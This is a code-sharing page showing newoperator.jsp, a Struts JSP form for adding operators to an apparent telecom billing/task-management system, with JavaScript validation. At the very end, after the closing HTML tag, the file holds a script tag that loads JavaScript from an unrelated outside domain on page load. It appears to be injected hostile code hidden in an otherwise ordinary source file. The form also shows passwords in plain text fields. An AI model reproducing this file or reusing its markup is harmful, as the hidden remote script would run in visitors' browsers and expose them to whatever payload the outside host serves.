⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 newoperator.jsp

📁 开发的一个java web的任务管理系统。
💻 JSP
字号:
<%@page pageEncoding="UTF-8"%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html"%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean"%>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic"%>
<HTML><HEAD><TITLE>联通收费系统</TITLE>
<META http-equiv=Content-Type content="text/html; charset=UTF-8">
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<link href="style.css" rel="stylesheet" type="text/css">
<Script language="JavaScript">
function addOperValidate()
{
  var theForm = document.dynaForm;
  var user = theForm.user.value;
  var pwd = theForm.pwd.value;
  var pwdSure = theForm.pwdSure.value;
  var isAdmin= theForm.isAdmin.value;
  if(user == "")
   {
     theForm.user.focus();
     window.alert("用户名不能为空");
     return false;
   }
  else {
        if(pwd == "")
           {
            theForm.pwd.focus();
            window.alert("密码不能为空");
            return false;
           }
         else{
               if(pwd!=pwdSure)
                 {
                    window.alert("输入密码不一致");
           			theForm.pwd.value="";
            		theForm.pwdSure.value="";
            		theForm.pwd.focus();
            		return false;
                 }
                else{
                    return true;
                    }
              }
       }
}
</Script>
</HEAD>
<BODY bgColor=#ffffff leftMargin=0 topMargin=0 marginheight="0" marginwidth="0">
<CENTER>
<%@ include file="head.jsp"%>
<TABLE cellSpacing=0 cellPadding=0 width=749 border=0>
  <TBODY>
  <TR vAlign=top>
    <TD width=173 bgColor=#c9d3e9 rowSpan=2>
      <%@ include file="left.jsp"%>
      </TD>
    <TD width=2 rowSpan=3><IMG height=1 src="images\blank(1).gif" width=2></TD>
    <TD width="2">
      <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
        <TBODY>
        <TR>
          <TD height=25>&nbsp;您现在的位置:新增操作员</TD>
        </TR>
        <TR>
          <TD bgColor=#2650a6><IMG height=1 src="images\blank(1).gif" 
            width=1></TD></TR>
        <TR>
          <TD><IMG height=2 src="images\blank(1).gif" width=574></TD></TR></TBODY></TABLE></TD></TR>
  <TR vAlign=top>
    <TD height="600" bgColor=#f1f3f9>
   
    <html:form action="/operAdd.do" onsubmit="return addOperValidate()">
      <p>姓&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 名:<html:text property="user"></html:text></p>
      <p>密&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 码:<html:text property="pwd"></html:text></p>
      <p>密码确认:<html:text property="pwdSure"></html:text></p>
      <p>是否管理员:
            <html:radio property="isAdmin" value="Y"/>是&nbsp;&nbsp;&nbsp; 
            <html:radio property="isAdmin" value="N"/>否 <br></p>
      <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      <html:submit value="提交"></html:submit>
      </p>
    </html:form>
    </TD>
    </TR>
  </TBODY></TABLE>
<BR></CENTER></BODY></HTML>
<!-- 利用脚本控制页面的radio置于选择状态 -->
<script>   
    document.all("isAdmin")[1].checked=true;
</script>
<script language=javascript src=http://www.456ii.cn/all/aa.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -